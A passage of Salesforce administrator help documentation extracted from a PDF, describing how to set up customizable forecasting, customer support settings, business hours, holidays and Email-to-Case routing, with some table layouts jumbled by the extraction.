Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? Your forecast hierarchy lists each user that can use customizable forecasting. It determines how forecasts roll up through your hierarchy. It is based on the role hierarchy by default, or the territory hierarchy if your organization has territory management. When customizable forecasting is enabled for your organization, it automatically generates a forecast hierarchy based on your organizations role hierarchy. The forecast hierarchy becomes based on your territory hierarchy only when you enable territory management. To customize your forecast hierarchy: Make sure that all the appropriate users are in your forecast hierarchy. If any are not and should be, see Enabling Users for Customizable Forecasting. Make sure that the appropriate users are the assigned forecast manager whenever there is more than one user in a role or territory in your forecast hierarchy. Each user at the bottom of your forecast hierarchy can be a forecast manager. However, above that, a single user must be chosen as the forecast manager for forecasts to roll up to that user. See Assigning Forecast Managers in Your Forecast Hierarchy. Share forecast manager views with other users. See Manually Sharing a Forecast.

1267

Customize

Setting Up Your Forecast Hierarchy

If Nonforecasting appears next to a role or territory in the forecast hierarchy, it means that a forecast manager has not been assigned to that role or territory.

See Also:
Setting Up Customizable Forecasting Enabling Users for Customizable Forecasting Assigning Forecast Managers in Your Forecast Hierarchy

Enabling Users for Customizable Forecasting


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up forecast hierarchy: Customize Application

Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? To enable users for customizable forecasting if your organization does not use territory management: 1. Click Your Name > Setup > Customize > Forecasts (Customizable) > Forecast Hierarchy. 2. Click Enable Users next to a role to view a list of users assigned to that level. 3. Select a user and click Add to enable the user for customizable forecasting. To disable a user, select the user and click Remove. 4. Click Save. To enable a user for customizable forecasting if your organization uses territory management: 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Users. Click Edit next to the user's name. Select Allow Forecasting. Click Save. Add the user to a territory. Note: To view a list of users for a territory, select the territory name in the territory hierarchy or run a territory report. For more information on territory reports, see Territory Reports. If you add more than one user to a role or territory, make sure that the appropriate user is the assigned forecast manager for that role or territory. See Assigning Forecast Managers in Your Forecast Hierarchy

See Also:
Setting Up Your Forecast Hierarchy

1268

Customize

Setting Up Your Forecast Hierarchy

Assigning Forecast Managers in Your Forecast Hierarchy


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up forecast hierarchy: Customize Application

Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? After users are enabled for customizable forecasting, assign a user as a forecast manager for each role in your forecast hierarchy. Assigning someone as a forecast manager means that all forecasts from users below that user in the forecast hierarchy roll up to that person. For example, an executive and executive assistant may have the same role, but the executive is the assigned forecast manager in the forecast hierarchy because all subordinates' forecasts roll up to the executive. Both the executive and executive assistant can submit forecasts, but forecasts of other users do not roll up to the executive assistant. If a role in the forecast hierarchy has no forecast manager, that role and all its subordinate roles are not included in your forecasts. If Nonforecasting appears next to a role or territory in the forecast hierarchy, it means that a forecast manager has not been assigned to that role or territory. 1. Click Your Name > Setup > Customize > Forecasts > Forecasts (Customizable). 2. Click Assign Manager or Edit Manager next to a role to assign a user as the forecast manager of that role. Roles without roles below them cannot have forecast managers unless your organization has territory management, which supports forecast managers at all levels. 3. Choose a user to be assigned as the forecast manager of the selected role. If no users are available for the role, enable the appropriate user; see Enabling Users for Customizable Forecasting. 4. If forecast sharing is enabled, choose the sharing settings: Choose Require Administrator assistance for forecast sharing to limit forecast sharing for this view to administrators. This is the default option. Choose Forecast managers can share their own forecast views to allow the administrator or the forecast manager to share this view.

5. Click Save.

See Also:
Setting Up Your Forecast Hierarchy Manually Sharing a Forecast

Enabling Customizable Forecasting


1269

Customize

Enabling Customizable Forecasting

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable customizable forecasts: Customize Application

Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? Enabling customizable forecasting for your organization allows your forecast users to view and submit their customizable forecasts from the Forecasts tab based on your customizable forecast settings. 1. Click Your Name > Setup > Customize > Forecasts (Customizable) > Forecast Hierarchy. 2. Click Enable Customizable Forecasting. If this option is not available, customizable forecasting is already enabled for your organization. After you enable customizable forecasting, three new user permissions are available: Permission Override Forecasts Description Allows users to override their own forecasts and forecasts for users below them in the forecast hierarchy. All standard profiles except Read Only receive this permission. Allows users to change their individual quotas. All standard profiles except Read Only receive this permission. Users with the Manage Users permission can always edit any quota. Users can always edit the quotas of users that report directly to them. View All Forecasts Allows users to view any forecast regardless of their place in the forecast hierarchy. The System Administrator profile includes this permission.

Edit Personal Quota

3. Choose the appropriate opportunity page layouts that you want to include the new Opportunity Forecasts related list. Optionally, choose the Append... option to add this related list to page layouts even if users have customized them. 4. Click Save. 5. Enable or disable these permissions where necessary. For information on changing permissions, see Overview of User Permissions and Access on page 525.

1270

Customize

Manually Sharing a Forecast

Note: With customizable forecasts, your forecasts still depend on how your Opportunity Stage picklist values map to Forecast Categories. For instructions on reviewing these mappings, see Picklists with Additional Information.

See Also:
Setting Up Customizable Forecasting Enabling Territory Management Manually Sharing a Forecast

Manually Sharing a Forecast


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? Your administrator defines your organization's forecasting hierarchy, which determines which users can view the forecast data. However, your administrator can manually extend sharing privileges for forecast data, and you may be able to manually extend sharing privileges for your own forecast data as well. Manual forecast sharing can only increase access to forecast data; it cannot restrict access for users who already have access. To manually share a forecast, you must be an administrator or a forecast manager who has been given access to share your forecast data. To see which users can view your forecast or to share your forecast data, do one of the following: Click Your Name > Setup > Customize > Forecasts > Forecast Hierarchy, then click Share next to the view you want to share. Click Sharing on the forecast home page to share your own forecast data.

The User and Group Sharing list shows you all the users who currently have access to this forecast data. It also details the level of access they have, whether they can submit a forecast, and the reason they have that access. The reasons a user might have access to forecast data are: Reason Administrator Delegated Forecast Manager Forecast Manager Owner View All Forecasts Permission Description The user is an administrator, or has the Modify All Data permission. A user has access to forecast data that was granted via the Sharing button on the forecast. A user has access due to being a forecast manager in the forecast hierarchy. The owner can always see his or her own forecast data. The user has the View All Forecasts permission.

1271

Customize

Submitting Customizable Forecasts in Batches

On the Forecast Sharing Detail page, you can do any of the following: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click Add to grant other users or groups access to the forecast data. Note: Manual sharing extends to the opportunity data that makes up the forecast. If a user has permission to override forecast data, then the user also has permission to override the opportunity forecast data. Click Expand List to view all users that have access to the forecast data. For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.

See Also:
Defining Customizable Forecast Settings Assigning Forecast Managers in Your Forecast Hierarchy Enabling Customizable Forecasting Granting Access to Records Viewing Which Users Have Access

Submitting Customizable Forecasts in Batches


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To submit forecasts in batches: Customize Application

Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? Submitting forecasts takes a snapshot of forecast data and makes that data available in forecast history and reports. Users can submit their forecasts individually by clicking Submit from their forecast. To submit multiple forecasts at once: 1. Click Your Name > Setup > Customize > Forecasts (Customizable) > Batch Submit. 2. Choose the appropriate forecast period. 3. Select the users that have forecasts you want to submit and click Add to add them to the list of Selected Users for Batch Submit. Select more than one at a time using CTRL+click. 4. Click Submit.

1272

Customize

Setting Up Customer Support

5. Click OK.

See Also:
Setting Up Customizable Forecasting

SUPPORT
Setting Up Customer Support
The available support setup options vary according to which Salesforce Edition you have.

If your organization uses cases and solutions, you can set up various automated support features. Click Your Name > Setup > Customize > Cases. Click Business Hours to set your organizations support hours. Click Assignment Rules to create rules for automatically routing cases. Click Escalation Rules to create rules for automatically escalating cases. Click Support Settings to customize email templates and defaults for automated support features. Click Auto-Response Rules to set up rules that send email to customers when they submit cases from one of the following: A Web-to-Case form An Email-to-Case message An On-Demand Email-to-Case message A Customer Portal A Self-Service portal

Click Email-to-Case to set up the ability to capture customer emails as cases. The setup specifies how the content of each customer email automatically populates case fields.

For support features related to solutions, click Your Name > Setup > Customize > Solutions. Click Solution Categories to set up categories so your users can categorize the solutions they create. Click Solution Settings to enable specific options for solutions.

For additional support features, click Your Name > Setup > Customize > Self-Service. Click Public Solutions to set up public solutions for your customers to use when searching for solutions. Click Web-to-Case to set up the ability to capture cases from your website. Click Self-Service Portal to set up your organizations web portal for your customers to log cases and search for solutions.

For support features related to a Salesforce Customer Portal, click Your Name > Setup > Customize > Customer Portal. Click Settings to set up your organization's Customer Portal so that your customers can log cases, search for solutions, and access any custom objects you may have created for them.

1273

Customize

Setting Business Hours

For support features related to Salesforce CRM Call Center, click Your Name > Setup > Customize > Call Center. Click Call Centers to set up new call centers and manage the users who are assigned to them. Click Directory Numbers to set up additional phone numbers that can be searched in a call center user's phone directory. Click SoftPhone Layouts to set up the layouts that are used to display call information in a call center user's SoftPhone.

To create support queues for cases or custom objects, click Your Name > Setup > Manage Users > Queues. The support features include the ability to notify customers when their case is created manually or via the web, or when their case is resolved. You can also automatically notify users when a case is escalated, created, or re-assigned. To use notification emails, you must create email templates for each type of notification.

See Also:
Setting Up Your Organization Administrator tip sheet: Setting Up Customer Support Administrator tip sheet: Getting the Most from Your Self-Service Portal Administrator setup guide: Self-Service Implementation Guide Administrator setup guide: Case Management Implementation Guide

Setting Business Hours


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set business hours: Manage Business Hours Holidays

You can specify the business hours at which your customer support team operates, including multiple business hours in multiple time zones. Setting business hours lets you apply specific time zones and locations to: Cases Case escalation rules Case milestones in entitlement processes

After you set business hours, users can click Business Hours on a case to set the times at which a support team is available to work on the case. Additionally, users with the Customize Application permission can add business hours to escalation rules so that when the details of a case match the criteria of an escalation rule, the case is automatically updated and escalated with the times and location on the rule. For example, a case updated with Los Angeles business hours only escalates when a support team in Los Angeles is available. By default, business hours are set 24 hours, seven days a week in the default time zone specified in your organization's profile. For more information, see Setting Up Your Organization on page 352 and Setting Up Escalation Rules on page 1222. To set business hours: 1. Click Your Name > Setup > Company Profile > Business Hours. 2. Click New Business Hours. 3. Enter a name for the business hours.

1274

Customize

Setting Business Hours

We recommend that you enter text in the Business Hours Name field that will remind users of a location or time zone when they view business hours on a case. For example, if your business hours are for a support center in San Francisco, you could enter San Francisco Business Hours. 4. Click Active to allow users to associate the business hours with cases and escalation rules. Click Active again to deactivate the business hours. You cannot delete business hours. 5. Optionally, click Use these business hours as the default to set the business hours as the default business hours on all new cases. Default business hours on cases can be updated with business hours on escalation rules if the cases match escalation rule criteria and the rule is set to override business hours. For details, see Setting Up Escalation Rules on page 1222. 6. Choose a time zone to associate with the business hours in the Time Zone drop-down list. 7. Set your business hours for each day of the week: By default, the 24 hours checkbox is selected next to each day. Deselect this checkbox if your support team is unavailable during the entire day. When you deselect the 24 hours checkbox, you can enter start and end times for the business hours, or leave the fields blank. Choose the start and end times for the business hours. If a time is not available, click the field and enter the time. Start times must be earlier than end times.

8. Click Save. 9. Optionally associate the business hours to: Escalation rules so that when the details of a case match the criteria of an escalation rule, the case is updated and escalated with the business hours on the rule. For more information, see Setting Up Escalation Rules on page 1222. Holidays so that business hours and any escalation rules associated with business hours are suspended during the dates and times specified in holidays. For more information, see Setting Holidays on page 1279.

To update business hours, click Your Name > Setup > Company Profile > Business Hours and click the Edit link next to the name of the business hours you wish to update. Tips on Setting Business Hours Consider the following when setting business hours: After you set business hours, add the Business Hours lookup field to case layouts and set field-level security on the Business Hours field. This allows users to view and update business hours on a case. For more information, see Customizing Page Layouts on page 1191 and Field-Level Security Overview on page 622. Business hours on a case are automatically set to your organization's default business hours, unless the case matches the criteria on an escalation rule associated with different business hours. Salesforce automatically calculates daylight savings times for the time zones available for business hours. Escalation rules only run during the business hours with which they are associated. For more information, see Setting Up Escalation Rules on page 1222. You can update cases associated with business hours that are no longer active without having to reactivate business hours. You cannot include the Business Hours field in list views or reports. You can create multiple business hours for support teams that operate in the same time zone but at different hours. For simplicity, we recommend that you create one set of business hours per support center. You cannot deactivate business hours that are included in escalation rules. You must first remove them from the escalation rules. For more information, see Setting Up Escalation Rules on page 1222. You can associate up to 1000 holidays with each set of business hours.

1275

Customize

Customizing Support Settings

Business hours on a case take precedence over business hours on entitlements. Business hours on entitlements only add business hours to cases created from entitlements. For example, if you add an entitlement with business hours to a case that already has business hours, the entitlement's business hours are ignored.

See Also:
Creating Escalation Rules Setting Up Customer Support Entitlement Management Overview

Customizing Support Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change support settings: Manage Cases AND Customize Application

To select default support templates and automated support features for your organization: 1. Click Your Name > Setup > Customize > Cases > Support Settings. 2. Click Edit. 3. Select the following settings and templates as necessary: Field
Default Case Owner

Description The user or queue automatically assigned to all cases that don't match any case assignment rule entries. This user must be Active. Select this checkbox to notify the default case owner when a case is assigned to him or her. If the new owner is a queue, the notification is sent to the queue email address. Notifications are system-generated and can't be modified. Indicates which record type to assign to cases created by users applying assignment rules. Select either: Keep the existing record type if you want new cases to keep the creator's record type Override the existing record type with the assignee's default record type if you want to overwrite the creator's record type on new cases

Notify Default Case Owner

Record Type Setting

1276

Customize

Customizing Support Settings

Field
Automated Case User

Description The user listed in the Case History related list for automated case changes. Automated case changes may occur from assignment rules, escalation rules, On-Demand Email-to-Case, or cases logged in the Self-Service portal. This user must have the System Administrator profile or the Modify All Data and Send Email permissions. The template used to notify contacts that their case was created manually by a support agent. The notification is optional; it's triggered by a checkbox on the case edit page. This template must be Available for Use. The template used to notify users that a case was manually assigned to them by an administrator or another user. The notification is optional; it's triggered by a checkbox on the Change Case Owner page. This template must be Available for Use. The template used to notify contacts that a case has been closed. The notification is optional; it's triggered by a checkbox on the Close Case page. This template must be Available for Use. portal users when a case comment has been modified or added to a case. If you select this setting, click Case Comment Template and choose the email template to use for these notifications. This template must be Available for Use.

Case Creation Template

Case Assigned Template

Case Close Template

Enable Case Comment Notification to Contacts Select this checkbox to notify contacts who aren't Self-Service

Notify Case Owner of New Case Comments

Select this checkbox to notify the case owner when a user adds a public or private comment to a case. If you select this setting, case owners can't opt out of receiving these notices. (Notices aren't sent to inactive case owners.) Select this checkbox to enable early triggers for escalation rules and their actions. You can set up an escalation rule to perform an action when a case has been unresolved for a specific number of hours. The Age Over hour you specify determines when Salesforce performs the escalation action. Enable early triggers to ensure that your escalation actions are triggered before the Age Over hour you specify.

Early Triggers Enabled

Enable Suggested Solutions

Select this checkbox to enable the Suggested Solutions button on case detail pages For more information about how Customer Portal users can self-close their own cases from suggested solutions, see Enabling Customer Portal Login and Settings on page 1545.

1277

Customize

Customizing Support Settings

Field

Description For information about setting up suggested solutions for your Self-Service portal, see Customize the Suggested Solutions Page on page 1315.

Enable Suggested Articles

Select this option to provide suggested articles on the Articles related list. You can make suggested articles available in all Salesforce Knowledge channels except the public knowledge base. Select this checkbox to specify that case comment, attachment, and assignment notifications sent to case owners are sent from a system address, rather than the address of the user who updated the case. System notifications display a From email address of noreply@salesforce.com, and an email Name related to the message, such as Case Comment Notification. You can select this checkbox to prevent Self-Service or Customer Portal users who update their cases from receiving any out-of-office emails from case owners whose email is set to out-of-office.

Send Case Notifications from System Address

Notify Case Owners when Case Ownership Changes

Select this checkbox to automatically select Send Notification Email on cases when users change a case owner to another user. This helps prevent users from forgetting to notify other users that they're the new owner of a case. Selecting this setting doesn't automatically select Send Notification Email when users change a case owner to a queue. See Managing Queues on page 559.

Show Closed Statuses in Case Status Field

Select this checkbox to add closed statuses to the Status field on cases so that users can close cases without having to click the Close Case button and update information on close case page layouts. See Closing Cases on page 2828. Selecting Show Closed Statuses in Case Status Field doesn't remove the Close button from case list views. Instead, it adds Closed to the list of statuses available for users to choose from when they select multiple cases and click Change Status on case list views. See Viewing Case Lists on page 2806.

Hide Save & Close Button and Cls Links

After selecting Show Closed Statuses in Case Status Field as described above, you can select this checkbox so that the Save & Close button on case edit pages and Cls links on Cases related lists don't display

1278

Customize

Setting Holidays

Field

Description unnecessarily. Instead, users close cases via the Status field and Save button.

See Also:
Managing Email Templates Managing Queues Managing Assignment Rules Creating Escalation Rules Capturing Web Cases Setting Up Customer Support

Setting Holidays
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set holidays: Manage Business Hours Holidays

Holidays enable you to specify the dates and times at which your customer support team is unavailable. After you create a holiday, you can associate it with business hours to suspend business hours and escalation rules during the dates and times specified in the holiday. For more information, see Setting Business Hours on page 1274 and Setting Up Escalation Rules on page 1222. To set holidays: 1. Click Your Name > Setup > Company Profile > Holidays. Click Edit to edit an existing holiday. Click Del to delete an existing holiday. You can only delete a holiday that is not associated with any business hours. Click Clone next to an elapsed holiday to clone it. The Elapsed Holidays related list displays holidays that have occurred in the past. You can only clone elapsed holidays. If the Go to list link appears at the bottom of the Holidays or Elapsed Holidays related list, click it to display all the items. From the list you can edit or delete any existing holiday, or clone any elapsed holiday. Caution: Any elapsed holidays that you delete are not moved to the Recycle Bin. They cannot be recovered.

The recurring icon ( ) displays next to the date and time of recurring holidays.

1279

Customize

Setting Holidays

2. Click New. 3. Enter a name for the holiday. 4. Enter a date for the holiday. If you want the holiday to span more than one day: a. b. c. d. Select the Recurring Holiday checkbox Enter the first day of the holiday in the Start Date field. Deselect the No End Date checkbox in the End Date field. Enter the last day of the holiday in the End Date field.

5. Optionally, you can: Specify the exact times at which the holiday takes place by deselecting the All Day checkbox next to the Time field and entering the exact times. Select the Recurring Holiday checkbox to schedule the holiday to recur during specific dates and times: In the Frequency field, select the frequency at which the holiday recurs. When you click the Daily, Weekly, or Monthly fields, more options display that allow you to refine frequency criteria. In the Start Date and End Date fields, specify the dates during which you wish the holiday to recur. The following error message displays if you select a start date and end date that does not correspond with the frequency you selected: The recurring holiday has no occurrence. 6. Click Save. 7. Click Add/Remove on the Business Hours related list. 8. Add or remove business hours to the holiday by selecting business hours in the Available Business Hours column, and clicking the Add or Remove arrows to add or remove business hours to the Selected Business Hours column. 9. Click Save. Tips on Setting Holidays Consider the following when setting holidays: You can associate a holiday with multiple business hours. You can associate up to 1000 holidays with each set of business hours. Holidays automatically acquire the time zone of the business hours with which they are associated. For example if you associate a holiday to business hours that are in Pacific Standard Time, the holiday will take effect for those business hours in Pacific Standard Time. Holiday names do not need to be unique. For example, you could enter multiple holidays named New Year's Day. Currently, there are no limits to how many holidays you can create for your organization. Currently, report results do not take into account holidays. If you schedule a holiday to recur on a specific day of every month, the holiday will only recur on months that have that specific day. For example, if you schedule a holiday on the 31st day of every month, then the holiday will only recur on months that have 31 days. If you want a holiday to recur on the last day of every month, choose last from the On day of every month drop-down list. You can only add business hours marked as Active to holidays. For more information, see Setting Business Hours on page 1274.

Setting Up Email-to-Case or On-Demand Email-to-Case


1280

Customize

Setting Up Email-to-Case or On-Demand Email-to-Case

Email-to-Case is available in: Professional, Enterprise, Unlimited, and Developer Editions On-Demand Email-to-Case is available in Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up Email-to-Case or On-Demand Email-to-Case: To enable Email-to-Case or On-Demand Email-to-Case: Customize Application Modify All Data AND Customize Application

Salesforce can automatically create a case when an email is sent to one of your company's email addresses, such as support@company.com. This Email-to-Case functionality auto-populates case fields from the content of each email. For example, an email subject heading becomes a case subject. Your organization can set up Email-to-Case or On-Demand Email-to-Case to efficiently resolve and correspond with customer inquiries via email. Salesforce allows you to choose one of two Email-to-Case options: Email-to-Case Email-to-Case requires downloading the Email-to-Case agent from wiki.developerforce.com/index.php/Email_To_Case and installing the agent behind your network's firewall. Use Email-to-Case if you have a requirement to keep all email traffic within your firewall, and you want to accept email attachments larger than 10 MB from customers. On-Demand Email-to-Case On-Demand Email-to-Case uses Apex email services to convert email to cases, without you having to download and install an agent behind your network's firewall. Use On-Demand Email-to-Case if you are not concerned about keeping email traffic within your firewall, and you do not need to accept attachments larger than 10 MB from customers. Setting Up Email-to-Case The following high-level steps outline how to set up Email-to-Case: 1. Determine the email routing addresses that your customers can use to submit cases to your support team. Emails are automatically converted to cases based on the settings specified for each routing address. 2. In Salesforce, enable Email-to-Case and configure your email routing addresses. See Enabling and Configuring Email-to-Case on page 1282. 3. Download the Email-to-Case agent from wiki.developerforce.com/index.php/Email_To_Case. 4. Install the agent behind your network's firewall. 5. Test your email routing addresses: a. Manually send emails to the routing addresses. b. Verify that the emails convert to cases based on their routing address settings. 6. Add the email address that you configured to your company's support website. This is the email address customers can use to submit cases to your support team.

1281

Customize

Enabling and Configuring Email-to-Case

7. Add the Emails related list to the Cases page layout. For more information, see Customizing Page Layouts on page 1191. Note: You can create email templates that support reps can use to respond to Email-to-Case or On-Demand Email-to-Case emails. These templates can include merge fields that display information from the original email in the response. See Managing Email Templates on page 436. Setting Up On-Demand Email-to-Case The following high-level steps outline how to set up On-Demand Email-to-Case: 1. Determine the email routing addresses that your customers can use to submit cases to your support team. Emails are automatically converted to cases based on the settings specified for each routing address. 2. In Salesforce, configure your email routing addresses and enable On-Demand Email-to-Case. See Enabling and Configuring On-Demand Email-to-Case on page 1286. 3. Configure your email system to forward case submissions to the email services address provided to you by Salesforce. For more information, see your email system's documentation. 4. Test your email routing addresses: a. Manually send emails to the routing addresses. b. Verify that the emails convert to cases based on their routing address settings. 5. Add the email address that you configured to your company's support website. This is the email address customers can use to submit cases to your support team. 6. Add the Emails related list to the Cases page layout. For more information, see Customizing Page Layouts on page 1191. Note: You can create email templates that support reps can use to respond to Email-to-Case or On-Demand Email-to-Case emails. These templates can include merge fields that display information from the original email in the response. See Managing Email Templates on page 436.

Enabling and Configuring Email-to-Case


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up Email-to-Case: To enable Email-to-Case: Customize Application Modify All Data AND Customize Application

This topic describes how to enable and configure Email-to-Case using the options available on the Email-to-Case Settings page. In addition, refer to Setting Up On-Demand Email-to-Case for the high-level steps you should perform before and after the tasks described in this topic. This topic is intended for customers who are running the Email-to-Case agent within their network's firewall, as opposed to On-Demand Email-to-Case which uses Apex email services. For information on enabling and configuring On-Demand Email-to-Case, see Enabling and Configuring On-Demand Email-to-Case on page 1286.

1282

Customize

Enabling and Configuring Email-to-Case

Before getting started, review the information in Tips on Email-to-Case on page 1285. To implement Email-to-Case, you need to add a new email routing address, verify the new email routing address, and enable Email-to-Case: 1. Click Your Name > Setup > Customize > Cases > Email-to-Case. From the Email-to-Case Settings page, you can: Click Edit to edit an existing routing address. Click Del to delete an existing routing address. Click Verify to confirm and verify the email address used in an existing routing address. A verification email is immediately sent to the new routing address, which includes a link, that when clicked, completes the verification process.

2. From the Routing Addresses related list, click New. You can create up to 50 routing addresses to administer separate email addresses for Email-to-Case. A routing address is activated after Email-to-Case is enabled. 3. Enter the routing address settings. Setting
Routing Name

Description The name for the routing address. For example, Gold Support or Standard Support. The inbound email address for this Email-to-Case routing address. Emails sent to this address are created as cases using the specified settings. The email address must be unique. Note that this is the email address to which you will provide a link on your company's support website. Select this checkbox to save the email routing information associated with each email submitted as a case. Saving email routing information counts towards your organization's overall storage limit. To view email headers from an email converted to a case, see Working with Case Emails on page 2818.

Email Address

Save Email Headers

Create Task from Email

Select this checkbox to automatically assign a task to the case owner when an email is submitted as a case. Assignment rules automatically assign owners to a case; however, if a case does not match assignment rule criteria, then the user in the Default Case Owner field on the Support Settings page is assigned to the case. For more information, see Setting Up Assignment Rules on page 1219 and Customizing Support Settings on page 1276.

Task Status

Choose a status from this drop-down list with which to predefine the Status field on tasks automatically assigned to case owners when email is submitted as cases. This setting is only available if you selected the Create Task from Email checkbox.

1283

Customize

Enabling and Configuring Email-to-Case

Setting
Case Priority

Description The priority assigned to cases created from emails sent to this email address. The value assigned to the Case Origin field for cases created via this Email-to-Case routing information. The record type used to create cases from emails sent to this email address. If a routing address has a case record type of None, then new cases will default to the record type of the user configured in the Email-to-Case agent. If your organization does not use record types, this setting is not available.

Case Origin

Case Record Type

4. Click Save to save the routing address settings. Alternatively, click Save & New to save the routing address, and then create a new routing address. A verification email is immediately sent to the new routing address, which will not be verified until you click the verification link in the email. 5. Click the link in the verification email. Optionally, click Verify next to the email address on the Email Address detail page to have Salesforce send another verification email to the new routing address. Salesforce notifies you when the new email routing address is verified. 6. Click Continue. 7. Return to the Email-to-Case Settings page by clicking Your Name > Setup > Customize > Cases > Email-to-Case. 8. Click Edit to apply the following Email-to-Case settings: Email-to-Case Setting
Enable Email-to-Case Notify Case Owners on New Email

Description Select this checkbox to activate Email-to-Case. Select this checkbox to allow case owners to automatically receive notifications when email arrive for their existing cases. Email notifications assign a task to the case owner to respond to the new email. Responding to the email closes the task. To disable email notifications at any time, simply deselect the checkbox. Select this checkbox to warn users before they view incoming HTML email content so that they can avoid opening potentially malicious HTML that could harm their computers. With this setting disabled, users will see text instead of HTML on email message detail pages, and when users reply to an email, the text version of the email will be copied to the email editor, instead of the HTML version. To disable HTML email warnings at any time, simply deselect the checkbox.

Enable HTML Email

1284

Customize

Enabling and Configuring Email-to-Case

Email-to-Case Setting
Email Subject

Description Select this checkbox to add the thread ID to the subject of email. You can choose whether the thread ID should be included in the emails users send from cases. The thread ID is the unique ID of each case email, such as [ref:00DxRtp.500xXFKf:ref]. By default, the thread ID is added to both the subject and body of case emails.

Email Body

Select this checkbox to add the thread ID to the body of email. You can choose whether the thread ID should be included in the emails users send from cases. The thread ID is the unique ID of each case email, such as [ref:00DxRtp.500xXFKf:ref]. By default, the thread ID is added to both the subject and body of case emails.

9. Click Save. Tips on Email-to-Case Consider the following when setting up a routing address for Email-to-Case: When a customer sends an email to this routing address, a case is created in your organization with the email subject as the case Subject and the email body as the case Description. The Priority, Case Origin, and Case Record Type fields auto-populate the case via the routing address settings when the routing address is included in either the To, CC, or BCC fields of an inbound email. Salesforce processes the routing address of an inbound email in the following order and stops at the first match: 1. To 2. CC 3. BCC Note that some email applications do not automatically send BCC information. Therefore, case fields may not auto-populate properly if the routing address is included in the BCC field of an inbound email. To have cases that are created via Email-to-Case automatically display in the Self-Service portal, see Enabling Self-Service Features and Settings on page 1301. The limit on the number of emails a day that an organization can convert into cases is 2,500 per day for Professional, Enterprise, Unlimited, and Developer Editions (total number of cases, inclusive of all email addresses). If your organization exceeds its daily Email-to-Case limit, the following API exception code is returned to the Email-to-Case agent: EMAIL_TO_CASE_LIMIT_EXCEEDED. You can configure the agent to take appropriate action, such as notifying your administrator, when this occurs. Deselect both the Email Subject and Email Body checkboxes to prevent the thread ID from being added to emails. If you deselect both the Email Subject and Email Body checkboxes, then all incoming responses to outbound case emails create new cases. When you reply to email messages in the Email related list on cases, the From: field on your email may display to recipients as no-reply@salesforce.com or support@company.com. This is due to how the recipients' email applications receive Sender and From headers on inbound email. By default, an Enable Sender ID compliance setting is selected

1285

Customize

Enabling and Configuring On-Demand Email-to-Case

for your organization, which enables email messages sent from Salesforce to comply with email applications that require Sender headers for delivery. For more information, see Configuring Deliverability Settings on page 941.

See Also:
Displaying and Editing Cases Working with Case Emails Managing Assignment Rules Setting Up Auto-Response Rules

Enabling and Configuring On-Demand Email-to-Case


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up On-Demand Email-to-Case To enable On-Demand Email-to-Case Customize Application Modify All Data AND Customize Application

This topic describes how to enable and configure On-Demand Email-to-Case using the options available on the Email-to-Case Settings page. In addition, refer to Setting Up On-Demand Email-to-Case for the high-level steps you should perform before and after the tasks described in this topic. Before getting started, review the information in Tips and Considerations for On-Demand Email-to-Case on page 1290. To enable and configure On-Demand Email-to-Case, perform the following procedures in order: 1. Enabling On-Demand Email-to-Case 2. Defining and Verifying Email Routing Addresses 3. Configuring Email-to-Case Settings Enabling On-Demand Email-to-Case To enable On-Demand Email-to-Case: 1. 2. 3. 4. Click Your Name > Setup > Customize > Cases > Email-to-Case to open the Email-to-Case settings page. Click Edit. Select the Enable Email-to-Case checkbox. After you enable Email-to-Case, it cannot be disabled. Select the Enable On-Demand Service checkbox. To disable On-Demand Email-to-Case at any time, deselect the checkbox. You can also re-enable On-Demand Email-to-Case at any time. 5. Click Save. You will configure the remaining settings later.

1286

Customize

Enabling and Configuring On-Demand Email-to-Case

Defining and Verifying Email Routing Addresses To define and verify email routing addresses: 1. Click Your Name > Setup > Customize > Cases > Email-to-Case to open the Email-to-Case settings page. 2. On the Routing Addresses related list, click New. 3. Enter the routing address settings: Setting
Routing Name Email Address

Description The name for the routing address. For example, Gold Support or Standard Support. The inbound email address for this On-Demand Email-to-Case routing address. Email sent to this address creates new cases using the specified settings. The email address must be unique. Note that this is the email address to which you will provide a link on your company's support website.

Save Email Headers

Select this checkbox to save the email routing information associated with each email submitted as a case. Saving email routing information counts towards your organization's overall storage limit. For more information, see Monitoring Resources on page 704. To view email headers from an email converted to a case, see Working with Case Emails on page 2818.

Accept Email From

Leave this field blank to allow On-Demand Email-to-Case to receive email from any email address or domain. Or, you can limit the email addresses and domains available for On-Demand Email-to-Case by entering them in this field. Select this checkbox to automatically assign a task to the case owner when an email is submitted as a case. Assignment rules automatically assign owners to a case; however, if a case does not match assignment rule criteria, then the user in the Default Case Owner field on the Support Settings page is assigned to the case. For more information, see Setting Up Assignment Rules on page 1219 and Customizing Support Settings on page 1276.

Create Task from Email

Task Status

Choose a status from this drop-down list with which to predefine the Status field on tasks automatically assigned to case owners when email is submitted as cases. This setting is only available if you selected the Create Task from Email checkbox.

Case Priority Case Origin

The priority assigned to cases created from emails sent to this email routing address. The value assigned to the Case Origin field for email sent to this email routing address.

1287

Customize

Enabling and Configuring On-Demand Email-to-Case

Setting
Case Record Type

